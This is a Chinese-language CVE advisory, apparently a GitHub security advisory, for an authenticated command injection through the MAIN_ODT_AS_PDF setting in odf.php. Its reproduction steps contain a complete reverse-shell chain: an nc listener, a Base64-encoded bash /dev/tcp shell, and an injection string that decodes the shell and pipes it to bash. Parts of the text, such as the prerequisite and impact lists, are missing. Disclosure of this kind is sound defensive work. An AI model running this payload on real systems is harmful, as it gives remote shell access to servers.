| 字段 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-23500 |
| 严重性 | 严重 |
| 安全公告 | GHSA-w5j3-8fcr-h87w |
| 发现者 | Lukasz Rybak |
已认证的管理员可以通过向 MAIN_ODT_AS_PDF 配置常量中注入恶意载荷来执行任意操作系统命令。该漏洞的存在是因为应用程序在将命令路径传递给 ODT 转 PDF 过程中的 exec() 函数之前,未能正确验证或转义该命令路径。
该漏洞位于 htdocs/includes/odtphp/odf.php。
当系统尝试将 ODT 文档转换为 PDF 时(例如在提案、发票中),它会使用 MAIN_ODT_AS_PDF 全局设置构造一条 shell 命令。
代码片段(htdocs/includes/odtphp/odf.php,约第 930 行):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
虽然文件名 $name 通过 escapeshellcmd() 进行了清理,但配置变量 MAIN_ODT_AS_PDF 直接从数据库获取并拼接在字符串开头。具有管理权限的攻击者可以将该变量设置为包含命令分隔符(如 ;)及任意命令。
前提条件:
复现步骤(反向 Shell):
172.26.0.1,端口:4445):nc -lvnp 4445
准备载荷。为避免特殊字符(如 & 或 >)被 Web 应用程序或 shell 转义,请将反向 shell 命令编码为 Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
导航到 首页 -> 设置 -> 其他设置。
使用以下注入载荷添加或修改常量 MAIN_ODT_AS_PDF:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(说明:jodconverter 用于通过初始检查,; 充当命令分隔符,管道会解码并执行 Base64 载荷)。
导航到 商务 -> 新建提案,创建草稿,选择 ODT 模板(例如 generic_proposal_odt),然后点击生成。
远程代码执行(RCE)。
获得管理员账户访问权限的攻击者(或恶意管理员)可以以 Web 服务器用户(通常为 www-data)的权限在底层服务器上执行任意命令。这使得攻击者可以:
由 Łukasz Rybak 报告
该 CVE 已按照协同漏洞披露规范进行了负责任地披露。此处提供的信息仅用于教育和防御目的。